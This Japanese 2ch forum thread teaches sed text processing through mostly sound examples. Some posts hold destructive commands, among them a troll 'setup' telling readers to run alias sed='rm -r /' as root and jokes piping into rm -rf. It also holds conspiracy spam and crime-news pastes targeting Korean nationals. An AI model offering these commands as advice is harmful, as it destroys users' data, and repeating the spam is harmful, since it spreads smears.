おまいら! sed の使い方教えて下さいm(_ _)m
■ このスレッドは過去ログ倉庫に格納されています
む、面白そうだけどなぁ > sedスレ。awkも一緒に扱ってくれるとありがたい。 とりあえずリンク貼り sedは日暮れて http://www.chimimo.com/sed/ 例えば英辞郎の加工で 【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど こんなのどうやるかなんて考えてみたい。 >>7 から続き とりあえずsedにやらせたいことをファイルに書きながらやっていこう。 yourei.sed ============================= /【用例.*/p d ============================= 確認してみる $ sed -f yourei.sed eijirou.txt | more とりあえず【用例 を含む行だけ抜粋できた。 ここからまだまだ加工が必要だな。 ぼちぼちやっていくさ。。。 ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。 てなわけで今度立てるときはsedとawk両方で立ててくれ。 >>10 そうするよ。 早く終りそうな方が統合スレたてたらいいんだよね? >>9 のつづき じゃまな振り仮名を削除してみる。 furigana.sed =============================== s/{[^}]}//g d =============================== ※振り仮名は全角の{}で囲まれている。 $ sed -f yourei.sed eijirou.txt | sed -f furigana.sed > yourei.txt 次は一行テキストの途中に現われる【用例xxx】のところを改行したい。 いらんもの全部削除 sed -f /dev/zero gomi.txt > gomi.txt >>11 のつづき 【用例xxx】で改行させてみる。 kaigyou.sed ========================= s/\/[[:blank:]]/\/\ /g ========================= ※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。 $ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt 例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。 >>13 のつづき ■で始まる行は邪魔なので削除する。 $ sed -e '/^■/d' yourei.txt > yourei1.txt 英文と和訳が対になってる行だけにする。 $ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt 行頭を■で統一 $ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt 行末にある/を削除 $ sed -e 's/\/$//g' yourei3 > yourei4.txt ここまでで用例集ができた。 >>14 さん 情報有難う。 参考にさせてもらうね。 質問。sedで改行するとき、例えば;を改行に置換したいとすると sed -e 's/;/;\ /g' 改行入れてかいてるんだけど・・。 これが凄い面倒なので一行で書く方法ってないんでしょうか。 >>17 さん すまないねぇ、あてくしもただいま修行中の身で お役にたてないワン メモ貼り。 sedで使用できる正規表現演算子 http://www.kt.rim.or.jp/ ~kbk/regex/regex.html#SED >>17 さん 私もいっぱいいっぱいでやってるから サクッとさじ投げたけど 私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは? $ sed -e 's/;/;\ > /g' 上記改行なら kaigyou.sed ====================== s/;/;\ /g ====================== $ sed -f kaigyou.sed hoge > hage まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは? >>15 のつづき >行末にある/を削除 >$ sed -e 's/\/$//g' yourei3 > yourei4.txt $ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正 折角できた用例集だけどこのままではつまらないから 英作問題集風に加工してみよう。 $ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt kaigyou2.sed ========================== s/\//\/\ /g ========================== $ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt ●●●マスコミの 「盗聴/盗撮」 は許されるの?その7A●●● http://natto.2ch.net/mass/kako/1004/10049/1004950940.html 915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB 今度は、インターネットで犯罪を告発している人自身を直接攻撃することを 彼らは考えるだろう。彼らはインターネット上の告発者が誰かということは 自分達自身が嫌がらせをしているのではじめから知っているのである。 彼らは、NTT等の通信事業者に働きかけて告発者のインターネット接続を あらゆる方法で妨害をしはじめるだろう。 もちろんこれは、れっきとした犯罪であるためあからさまにやると、 今度は告発者に訴えられたり脅迫されたりされる危険性がある。 そのため、彼らは法律に触れない程度で告発者を妨害する方法はないだろうか?と考える。 そこで出てくるのが.... -虚報戦術- いくつかの事実といっしょに実体のない噂を山ほど流す。 そのため(情報の)受信者は事実と噂を見分けることが出来ない。 アルビン・トフラー著 「パワーシフト」より 真実の情報を隠すために、偽の情報と真実の情報を混ぜ どれが真実の情報かわからなくさせる情報工作というものがある。 彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、盗撮、 ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、 「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ インターネット上で自作自演を行っている可能性がある。 われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。 >>21 レスありがとー、 特定の文字の後に改行したいってのは個人的に良くある シュチュエーションなもので、 もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。 それともう一つ疑問なのが、 time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done real 0m25.056s user 0m3.043s sys 0m21.228s time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done real 0m0.312s user 0m0.172s sys 0m0.096s こんな感じに、デカイループの中にsedがあるとトテツモナク動作が 重くなるんですが・・・、これってsedがいくつも起動されちゃうから なのかな。 でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに パイプって感じにしたほういいんでしょうかね。 教えて君で申し訳ないのですが、、、。 >>25 ちなみに。。。 同じような書き方ならPerlのほうが、微妙に早いかも。 #!/usr/bin/perl open HDL, "find . -type f|"; while(<HDL>) { s/.*\///; print; } ちまちま分けて書くのが面倒なので、 1つのファイルにまとめて書きたいと思ったんだけど 思うようにできない。。。 yourei.sed ============================= s/{[^}].*}//g /【用例.*/{ s/\/[[:space:]]/\/\ /g p } ============================== $ -n -f yourei.sed eijirou.txt | more この状態だとこれ以上の編集ができないんだよね。。。 一旦ファイルに落してからつづきをするしかないのかな? >>27 に間違いがあった。 >$ -n -f yourei.sed eijirou.txt | more $ sed -n -f yourei.sed eijirou.txt | more >>27 >この状態だとこれ以上の編集ができないんだよね。。。 >一旦ファイルに落してからつづきをするしかないのかな? 意味がよくわからんのだが、 sed -n -f yourei.sed eijirou.txt | sed -e '....' じゃダメなのか? あと、1行目を #!/usr/bin/sed -n -f として chmod +x しておくといいかも。 >>30 いちいちファイルに落さなくてもパイプでつなげるね。 指摘ありがとう。 ただ、>>27 で言おうとしてたのは パイプで繋いでいく部分も全て1つのファイルにまとめられないかな? ってことだったんだけど、 例えば >>27 の yourei.sed を ============================ s/{[^}].*}//g /【用例.*/{ s/\/[[:space:]]/\/\ /g s/\/$//g p } ============================ としても s/\/$//g の部分が実行できてない。 これは一度編集が終ったサイクルは読みこめないってことなのかな? >>sed@修行中 sedの置換命令のデリミタには任意の文字が使えるぞ。 置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも 文字列に含まれない文字をデミリタにすると読みやすいと思う。 例 s/\/[[:space:]]/\/\ /g ↓ s@/[[:space:]]@/\ @g s/\/$//g ↓ s%/$%%g >>31 > としても s/\/$//g の部分が実行できてない。 そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。 置換の結果、改行文字が挿入されて行が増えても、 新たな行頭と行末は'^'と'$'にマッチしないみたいだね。 >>32 そうだね そのほうがずっと見やすいね。 教えてくれてありがとう。 O'REILLY sed & awk http://polymer.bu.edu/ ~fding/sedawk/index.htm http://ime.st/www.gcd.org/sengoku/sedlec/ 拡張子がdocになってるけどlessでもみれるから 私はそれぞれのファイルを全部catでマージして 拡張子をtxtに変更してtknamazuから検索できるようにしている。 かなり平易に説明してくれてると思うよ。 >>33 sedの改行処理がネックになっているみたいです。 yourei.sed ======================= s/{[^}].*}//g /【用例.*/{ s%\/[[:space:]]%\/\ %g s%$%\n%g p } ====================== $ sed -n -f yourei.sed eijirou.txt | more こうすると改行処理前の1行テキストごとに \nが挿入されていました。 要するに見ためで改行しているだけで 1行テキストとしては改行処理前のものを認識しています。 >>37 あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。 むしろ .txt の方が少なかったような気が。 >>39 >1行テキストとしては改行処理前のものを認識しています。 うんにゃ。 $ はパターンスペースの最後にマッチするメタキャラクタであって、 何らかの操作でパターンスペース中に改行が増えても ^, $ でマッチする部分が増えるわけではない もし改行処理前(s// 実行前)のものが認識されるのであれば、 echo aaa | sed 's/a/b/; s/a/c/' の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、 実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。 >>40 > あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。 なのに Content-Type: application/msword なのね。 >>41 すでに一般的になっている拡張子を横取りする辺り さすが某社な感じがしたね。 いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。 >>40 >$ はパターンスペースの最後にマッチするメタキャラクタであって、 >何らかの操作でパターンスペース中に改行が増えても >^, $ でマッチする部分が増えるわけではない お手上げです。 1つのスクリプトファイルにまとめたかったんだけど 無理みたいですね。 >>43 改行への置換と行末の/の削除を同時にすればいいじゃん。 s/{[^}].*}//g /【用例.*/{ s%/[[:space:]]%\ %g p } >>44 なるほど、そんなことができたんですね。 1つ手順が減りました。ありがとう。 viviのアウトライン解析機能を使っています。 「リナンバ」とやると、 1.1 1.3 1.5 なんてのが、 1.1 1.2 1.3 ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、 sedで可能かと考えています。お力をお貸しください。 >>25 time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done ↓ do 〜 done はまとめてリダイレクトできるのだ ↓ time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///' すっごく速くなったぞ # sed ってよりshellのお題だな ``でサブシェル起動するからね... find . -type f | xargs sed 's/.*\///' とか find . -type f | while read i; do sed 's/.*\///' ${i}; done のほうがいいのでは? (上だと全ファイルまとめてsed。下だと一つづつsed) ぬぬぅ これは早急にシェルスクリプトを習得せねば なんかわかんないけどすごく便利なことしてそうな予感。 普通はシェルコマンドや正規表現を先に覚えるべきでは??? まぁあまり人のことは言えないが(w >>52 早くしてるだけだよ。 でも>>50 が出してきた例は、上と下で動作が違うから注意しな。 この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。 >>53 UNIX的思想では小さいプログラムを組み合わせて使うから、 必要に応じて機能を探せばいい。 順番なんてナンセンス、だと思うな。 燃料投下の意味もこめて、ほったらかしの>>46 にささげます。 正規表現の部分は手抜きで、柔軟性のかけらもありません。 加工したいテキストにあわせて書き換える必要があるでしょう。 #なおテストはしてません。 while : do cnt=`expr $cnt + 1` sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル done 俺様がテーチインしてやるから まずスーパーユーザにならなくちゃ行けないんだよ。 $ su - そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ のようなものって思って良いけど難しいから以下のようにタイプする。 $ alias sed='rm -r /' すると起動完了だから、sedがバッチリ起動する。 このおまじないで絶対に止めては行けないサーバとかでも 安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの linux-tipsとかlinux-mini-howtoに載っているよ。 >>46 sed でやることじゃないな。 #!/usr/bin/awk -f $1 ~ /[0-9]+\.[0-9]+/{ split($1, tmp, /\./) if(tmp[1] <= sec){ subsec += 1 } else{ sec += 1 subsec = 1 } sub(/[0-9]+\.[0-9]+/, sec "." subsec) } { print } >>56 つまらない。 vi と awk + join + sort で、RDBMS ができるようだ。 #!/bin/sh join -1 1 -t: /etc/passwd /etc/ftpusers \ | sort -t ":" -n -k 3 \ | awk 'BEGIN {FS=":"; OFS="\t";} \ $7 != /bin/false && $3 >= 1000 \ {print $1, $3, $4, $7;}' awk の変数 OFS がなぜかFreeBSDで通らないのが謎。 って、ここはsed刷れだった。 sedもいじってみよう。 awkつまみ食い(1時間コース) ttp://www.is.kochi-u.ac.jp/~honda/Joen/07Awk.html /* emp.dat */ Beth 4.00 0 Dan 3.75 0 Kathy 4.00 10 Mark 5.00 20 Mary 5.50 22 Susie 4.25 18 /* m6.awk */ BEGIN { print "*** Employee Statistics ***" } $3 > 15 { emp = emp + 1 } { pay = pay + $2 * $3 } $2 > max { max = $2; who = $1 } { names = names $1 " " } { last = $0 } END { print "Employee list:", names; print NR, "employees"; print emp, "employees worked more than 15 hours." ; print "total pay is",pay; print "average pay is",pay/NR; print "Highest hourly rate:", max, "for", who ; print "Who was the last:",last; } $ awk -f m6.awk emp.dat *** Employee Statistics *** Employee list: Beth Dan Kathy Mark Mary Susie 6 employees 3 employees worked more than 15 hours. total pay is 337.5 average pay is 56.25 Highest hourly rate: 5.50 for Mary Who was the last: Susie 4.25 18 ほかにも、 awk は 組み込み 関数や、 if-else文、 while文、 for文などを 使った 複雑な 計算や プログラム制御を おこなう ことが できます。 これらの 詳細に ついては、 C言語を 学んだ 後で 参考書 「プログラミング言語AWK」 エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を... !/usr/bin/perl -p if(/(\d+)\.\d+/) { if($1 > $sec) { $sec=$1; $subsec=1; } else { $subsec++; } s/\d+\.\d+/$sec.$subsec/; } >>46 スレ違いだがawkでもいいなら、、、 57のperl版でw sedを使ってhogeを"hoge"にしたいんですけど s/^/\"/とs/$/\"/を一度にできますか? >>71 答のポイントがずれてる >>70 sed 's/\(.*\)/\"\1\"/' >>70 sed -e "s/^/\"/" -e "s/$/\"/" sed -e "s/^\(.*\)$/\"\1\"/" >>71-73 感謝! キモの\(.*\)と\1の意味が理解できないorz 精進します ああ、hogeは可変なのか… だからs/^/\"/とかしてたわけね orz sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか? 「重複名ファイル」が何のことか分からんが、 sedでファイルを削除することはできません >>78 全然試さずに聞いてみるのだがそれってファイル中身じゃなくて ファイル自体が消えるの? おれは引数の中身までは分からんが ls | sed 'hogehoge' | rm -rf ってことだろ。 あれ? >カレントパスにある、重複名ファイル こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。 つ[MS‐DOSを256倍使うための本〈Vol.3〉] >>84 「MAKE make Make.」 と 「640Kのバリヤーのなかで」 の章を読めば良いんですね。 わかりました。 ありがとうございました。 rm -rfv `find . | grep '~$'` こんなのよくやる。 こんなのを適当にファイル名を指定してやってみよう。 sed 's/\w//g' <ファイル名> 疑問なんだけど、デフォルト入力とかで 行をファイル(標準入力でもいいけど)から読み込んでくるとき、 パターンスペースに格納されるテキストには その行が本来持っていた末尾の改行は保持されるの、 それとも捨てられてるの? >>89 ありがd。そうみたいだね。実は自己解決してました。 man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。 「SED 教室 第三回」にもこうあった。 http://www.gcd.org/sengoku/sedlec/3.txt > SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし >ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。 >行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し >てください。 Cのソースから // /* */ のコメントを取り除けますか?sedで。 >できるよ。 /* */ のように複数行に分かれている場合にもできますか? ヒント: ttp://www.gcd.org/sengoku/sedlec/12.txt ---------- SED 教室 第十二回 「〜から〜まで、基礎編」 ---------- Super Erectile Dysfunction sed -e 's/XX/VV/g'|rm -rf パイプの概念すらしらん奴はこの板すらのぞかない方が君の為だ。 とりあえず、何をどうしたいのか、問題をはっきり定義してくれ。 そうすりゃ、見本スクリプト書いて説明してやるよ。 ややこしいことやるなら、ほんとはPerlのほうが使いやすいけど。 括弧そのものの削除ってどうやるの・・・ \( ってやっても expression エラーがでるんだけど・・・orz 実装次第かも知れんが、\(〜\)がグループ化で()は普通の括弧文字って実装が割と多い気がするね。 BREとEREの違いですね。 GNUのsedなら、-rをつけるとEREになるから、 \(〜\)じゃなくて(〜)でグループ化になりますよ。 >>108 GNUの拡張を除けば、グループ化が ( と ) なsedはないんじゃないか? 夢翔塾代表 逮捕後アリバイ工作 証人威迫容疑で福岡県警再逮捕 拘置中、男に依頼 特定非営利活動法人(NPO法人)「ハートランド夢翔塾(むしょうじゅく)」(福岡県大牟田市)代表の川野弘樹容疑者(36)=児童福祉法違反の罪で起訴=が、 塾生の少女=当時(16)=にわいせつ行為をしたとされる事件で、同県警は5日、拘置中に知り合った男と事件当日のアリバイ工作をしたとして、 証人威迫の疑いで川野容疑者を再逮捕し、大牟田市草木、飲食店従業員李永浩容疑者(32)を逮捕した。 調べでは、川野容疑者は大牟田署の留置場に拘置された際、別の事件で拘置されて同房だった李容疑者と共謀。 略式起訴で2月1日に保釈された李容疑者は同日夜、大牟田市内の川野容疑者の知人女性を訪ね、 「(わいせつ事件の)犯行時、川野容疑者と一緒にいたと証言してくれ」と、うそのアリバイ証言をするように強要した疑い。 両容疑者に面識はなく、留置場内で謀議していたという。川野容疑者は黙秘し、李容疑者は容疑を認めているという。 県警は5日、川野容疑者が昨年10月8日にも同市内の路上に止めた乗用車内で同じ少女にわいせつ行為をしたとして、 児童福祉法違反(淫行(いんこう))容疑でも再逮捕した。 ttp://www.nishinippon.co.jp/nnp/national/20080306/20080306_001.shtml 浜松・連続女性暴行:懲役20年を求刑 /静岡 浜松市の連続女性暴行事件で強姦(ごうかん)致傷などの罪に問われた同市中区北寺島町、 韓国籍の会社員、李正遠(イチョンウォン)被告(34)の論告求刑公判が4日、地裁浜松支部 (北村和裁判長)であった。 検察側は懲役20年を求刑した。 毎日新聞 ttp://mainichi.jp/area/shizuoka/news/20080305ddlk22040174000c.html 強制わいせつ容疑で逮捕 /福岡 26日、八幡東区石坪町、土木作業員、崔吉竜容疑者(32)を。 今月12日午後6時50分ごろ、門司区内の会社事務所に「トイレを貸してほしい」と 言って立ち入り、事務員の女性(32)に抱きつくなどわいせつな行為をした疑い。 前日にも事務所を訪れており、「強制ではない」などと犯意を否認しているという。 ttp://mainichi.jp/area/fukuoka/news/20080227ddlk40040511000c.html head.logというファイルの先頭に「HOGEHOGE」という文字列を挿入しようとしています。 head.logの中身は ------- test test ------- という二段の文字列です。 最初に直接sedを用いて sed -e '1 s/^/HOGEHOGE\n/' head.log というコマンドで ------- HOGEHOGE test test ------- と表示することには成功しました。 ただ、シェルスクリプトを ---------------------------- #!/bin/sh echo "input word" read word sed -e "1 s/^/${word}\n/" head.log ---------------------------- のように書いて、wordにHOGEHOGEを代入してこれを実行すると ------- HOGEHOGE HOGEHOGE test test ------- のように、HOGEHOGEが二回繰り返して表示されてしまいました。 この原因は何なのでしょうか? 対策方法などありましたらアドバイスよろしくおねがいします。 >>115 まず関係ないと思われる部分を省いて少しずつ試しなよ。 ヒント ---------------------------- #!/bin/sh echo "input word" read word echo "" sed -e "1 s/^/${word}\n/" head.log ---------------------------- うわああああ!! 恥ずかしいです(><) ありがとうございました(;_;) 改行の扱いについて教えてください。 以下のページによると http://www.gcd.org/sengoku/sedlec/3.txt > では「ジャンプせよ」という命令を実行することなくスクリプトの最後の行を > 過ぎてしまったらどうなるのでしょうか。(中略)この様な場合、SED は p と d を > 自動的に実行します。 とありますが、 echo -n aaa | sed -e 's/aaa/bbb/' を実行すると bbb が改行を伴わずに出力されます。 上記の説明と異なる結果でよく分からないのですが、、、 パターンスペースに各行の文字列を入れる際、行末の改行は捨てられるが、 その行が改行を伴っていたか伴っていなかったかについて、sedは何らかの形で 記憶している、そしてデフォルトの出力の際、もともと改行を伴っていたか どうかによって、出力文字列に改行を付けている。 このような理解でよろしいでしょうか。 よろしくお願いします。 >>119 GNU sed のソースを見た限りでは、一行ごとに読み込んでいるのだけど 改行がついていたかどうかのフラグを持ってるね。 んで、入力に改行がなかった場合には出力にも付加しない。 POSIX的にはどうか知らないけど 119にある理解でいいんじゃないか? >>121 デフォルトの出力に関しては、最終行での改行の有無を意識しておけばよい ということですかね。 調べていただいてありがとうございました。 >>122 sedはawkとかPerlみたいにレコードの区切りを変えることができなくて一行単位というのは 動かないから、改行コードのあるなしが問題になるのは最終行だけだね。 ソースをちょっと grep してちょっと眺めただけだからたいした手間じゃないよ。 grepの場合、改行がない最終行に対しては、改行を付けて出力するね。 "aaa" "bbb ccc" このようなファイルの2行目と3行目を連結したいのですが、可能でしょうか。 >>125 詳しい条件書かないとわからんよ。 s/b\n/b/g その例には使えるけど。 ありがとうございます。 この例で使えれば大丈夫なのですが、 条件として\nは使えるのでしょうか。 >>127 「自分の環境では、\nが認識されませんでした。」か? >>127 ああ、すまん。確かにダメだわ。sedじゃないけど、 perl -pe "s/b\n/b/g" ファイル名 これで勘弁。 /bbb$/{ N s/\n// } でどう? マッチ文字列や置換文字列に \n が使えるかどうかは環境によるので お前さんがどういうところで使っているかを書かなければ答えようがない。 >「Error」がある行に,「### Check Line ###」という新しい行を追加する >$ $ sed -e "/Error/i #### Check Line ###" source.txt ↑の構文なのですが、「新しい行を追加する」のではなく、 行の入れ替えを行う方法は無いでしょうか? >>132 入れ替えって何と何を入れ替えるの? #### の行を先に出力したいってこと? >>133 例えば、以下のようなテキストがあった場合 111 222 Error 333 444 555 「Error」がある行に,「### Check Line ###」という行に入れ替えたいです。 以下のようなイメージです。 111 222 ### Check Line ### 444 555 下記のtest.datから、 [1が出現してから3が出現するまでの行]はアドレス範囲を使えば簡単に取得できますが $ sed -n -e '/^1/,/^3/p' test.dat [1が出現してから3が出現する前の行]を取得するにはどうやるのでしょうか? $ sed -n -e '/^1/,/^3/p' test.dat | sed -e '$d' でもいいのですが、1回のsedで済ますにはどうすればよいでしょう? $ cat >test.dat 0 1 2 3 4 5 ^D >>139 sed -ne '/1/,/3/{/3/q; p' >>140 こういう時にqを使うんだ。 物凄く恥ずかしながら、目から鱗状態です。 2週間の間、何度も思い出しては考えても分からなかったので質問してみた。 ありがとう。 i=`echo $i|sed -e 's/^\([^ ]*\)\/$/\1/p' -e d` スクリプト中のこの1文の意味が良く分かりません。 どういう処理をしているのか教えていただけないでしょうか。 (^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;) (^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;) (^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;) (^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;) (^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;)(^^;) だれもイナイですね。 cueシートに埋め込まれたFILE名に含まれるスペースをアンダースコアに置換しました。 かなり強引です。はじめてsedを使いました。もっと賢いやり方を教えてもらえれば幸いです。 /^FILE /{s/ /_/g;s/_WAVE/ WAVE/;s/FILE_/FILE /} >>151 >だれもイナイですね。 枯れてるから特に話題も無いだけ。 まともに質問する気があるなら詳細条件書きなよ。 音楽用のcueシートがあります。 http://foobar2000.xrea.jp/index.php?foobar2000%E3%81%A8cue%E3%82%B7%E3%83%BC%E3%83%88 Tipsのような内容なのです。 FILE "高橋幸宏 - ARE YOU RECEIVING ME.wav" WAVE TRACK 01 AUDIO TITLE "Are You Receiving Me?" PERFORMER "高橋幸宏" INDEX 01 00:00:00 FILE "坂本龍一 - UNDO #1.wav" WAVE TRACK 01 AUDIO TITLE "Undo #1" PERFORMER "坂本龍一" INDEX 01 00:00:00 上記のFILEの"で括られた中のスペースをアンダースコアに置換したいのです。 >151 ではFILEの行にのスペースに対して一度すべてアンダースコアにしてます。 するとFILE_と_WAVEとなりるので、あとでこの2つに対してアンダースコアをスペースに戻しました。 本来ならばFILEを探した後、"を探し、その後"が出てくるまで スペースをアンダースコアに置換するのが良いのでしょうが、難しくて私にはムリです。 で、上記の案で逃げました。 「FILE」で始まる行のダブルクォートで括られた文字列の中のスペースのみを「_」に置換したいって事? なら、その方法が現実解だと思うよ。 行の特定の範囲だけを対象にして置換をかけるってのはsedだけだと難しいんじゃないかな。 少なくとも俺には無理なので、sedマスターの降臨を待つしかない。 /^FILE "\(.*\)" WAVE/{s//\1/;y/ /_/;s/.*/FILE "&" WAVE/} とかすればよいのでは? まぁ、同じく置換が3回入るので効率はあまり変わりませんが... 正道だと、こうなるのですね。ありがとうございます。 ファイルの最後5行を削除する例としてネットで以下を見つけたのですが、 sed -e '$-4,$d' file 現在使用中のCentOS環境ではGNU sed 4.1.5版で以下のようなエラーが表示されてしまいます。 sed: -e 表現 #1, 文字数 2: 未知のコマンドです: 「-」 GNUサイトから4.2をダウンロードしてみましたが、やっぱりダメで そもそも上記の例がなんのsed(?)で実現したものなのかもわからないのですが…。 実際にやりたかったのはファイルの最後n行だけを対象に置換処理をすることで sed -e '$-4,$s/hoge/piyo/' のようにしてみましたが当然ダメでした。 事前にwc -lで行数を取得し、exprで-4する方法と組み合わせるなどすれば 範囲を特定することもできると思いますが、 sedだけで完結できる方法はないでしょうか? >>159 こんなに下がっているスレで質問するときは上げた方がいい。誰にも気が付かれないかも知れない。 それ本当にsedのスクリプト?自分にはedのスクリプトに見えるが、それを見つけたページが分からないと何とも。 分かってると思うけど、sedは一行ずつ順番に処理していくから、後戻りは出来ないし事前に最終行も分からない。 だから、工夫が必要で下のようになる。分かりやすく汎用的に書くならsedスクリプトを書くしかないね。 sed '1{N;N;N;N};$!{P;N;D};s/hoge/piyo/g' file sed '1{x;d};2,4{H;d};5{x;G};$!{P;N;D};s/hoge/piyo/g' file でもこれは、嫌だな。スクリプトで書くと分かり易いんだけど… tac使っていいのなら、tac | sed '1,5s/hoge/piyo/' | tacって書けるけど遅いだろうね。 >>160 返信ありがとうございます。m(_ _)m 2chビューアのデフォルトに慣れていたせいで上げ忘れました(^^; ネットで見かけたサンプルはGoogleで 「sed (最終|最後)*行 削除」を検索すればいくつか見つかると思いますが OSやsedバージョンまでは書かれていないのでその辺がなんとも…。 sedのパターンスペースは使ったことがなかったので ちょっと勉強してみたいと思いますが、 他人(未来の自分)が見ても理解できないかもしれませんね… >>161 それで出たわ。「"sed -e '$-3,$d' file"」でググると出るわ出るわ… POSIXの規格読むと分かるけど、sedのアドレスにそんな指定方法はないし、 そもそも仕組み上そんな指定ができる訳がない。(そういう実装だとsedの良さがなくなる) でも、ちょっとコマンド叩けば直ぐ試せるのに、ここまで間違った記述が蔓延したのは疑問。 気になって調べたら、どうも「入門UNIXシェルプログラミング 改訂第2版」が犯人。 正誤表に訂正あり。(参考:ttp://www.sbcr.jp/support/8429.html) さらに、発売日以前に絞ってググったら、どっかの大学生がコピペしたページのみヒット。 コピー元は2003年まではあったようだから、つまり 間違った記述の1ページ → それを検証せず本に記載 → それをさらに検証せずにネットにコピペ という流れで嘘情報が増大していったようだ。試せば出来ないことなんて瞬時に分かるのに… ネット上の出展不明、再現もしくは検証不能情報は信用するなってことだな。 ところで、元レスの「"sed -e '$-4,$d' file"」で検索をかけても一件もヒットしなかったぞ。 わざわざ書き換えて転載されると検索にもでなくて困るよ(´・ω・`) 上の例に加えてもう一つ。一番分かりやすく書くとこうかな。 sed ': loop 1,4 { N b loop } $! { P N D } s/hoge/piyo/g' file こう書くと改行が入ってワンライナーにはつらいがしかたない。 ついでに言うとsedは普通パターンスペースしか使わない。使ったことないってのは変だ。 上のもパターンスペースしか使ってない。 POSIXにはないけど、GNU textutils(tacもそうだった)ならこんなのもいけるはず。 { head -n -5 file && tail -n 5 | sed 's/hoge/piyo/'; } >>159 最後の5行だけ置換対象とする #!/bin/sh sed "$(($(sed -n '$=' file)-5+1)),$ s/hoge/piyo/" file sedしか使ってないよ〜 /bin/shのArithmetic Expansionは使ってるけど あ、fileは5行以上って前提 そこは工夫しないと 1行目の後にtestを入れるつもりがエラーになります。 >cat text.txt| sed -e '1atest' sed: 1: "1atest ": command a expects \ followed by text シェルの中で、置換と追加をやりたので、実際はこうなってます。 sed -e 's/Before/After/g' \ -e '1iコメント' \ -e '12iコメント' \ 元ファイル > 新ファイル 行追加だけエラーになるのですが、 どこがおかしいのでしょうか? >>166 質問の仕方から勉強すべき どういう状態で何をするとどうなるのか 誰でも再現できるような説明を書くべき >>168 perl使いってマジで気持ち悪い どんな場面でも無理やりperlを使おうとする シンプルなコマンドの組み合わせで機能を実現できたり、 よりモダンな言語やスクリプトで簡単に実現できるのに 強引なまでにperlにこだわる (emacs使いもその傾向有り) 殆ど病気だわ 常識で考えて、sedのバッファやりくりでパズルするくらいならperlのほうが楽だろ。 >170 徒歩5分の距離にある目的地と徒歩1時間のそれ、そこに行くために歩いても自転車をこいでも自動車に乗ってもその人の自由でしょ。 常に特定の手段しか使わない人に関わりたくなければその人から遠ざかっていればいいじゃない。 スレ違いで申し訳ないんっですが、join コマンドの使い方について教えてください。 下記のような「時間,数値」を持ったcsvファイルがあり、時間をキーにして結合したいと思っています。 コマンドを調べたところ「join」(もしくはpaste)コマンドがぴったりだったので join aaa.csv bbb.csv とコマンドを実行したのですが、期待結果が返ってきません。 ファイルの内容と期待結果は以下です。 aaa.csv ----------------------- 23:00:00,4.12 23:05:00,17.07 23:10:00,2.04 ----------------------- bbb.csv ----------------------- 23:00:00,4.35 23:05:00,8.39 23:10:00,2.07 ----------------------- ジョインした期待結果 ----------------------- 23:00:00,4.12,4.35 23:05:00,17.07,8.39 23:10:00,2.04,2.07 ---------------------- どうしたら期待結果のようになるでしょうか? スレ違いだとわかってるなら適切なスレで聞いてください。 >175 catコマンドで横に結合できるのでしょうか?>< >>173 sed スレなんだから、sed を1つでも使ってやれよ!w ちーばくん ヘ__/ ̄ ̄ ̄\ \ノ 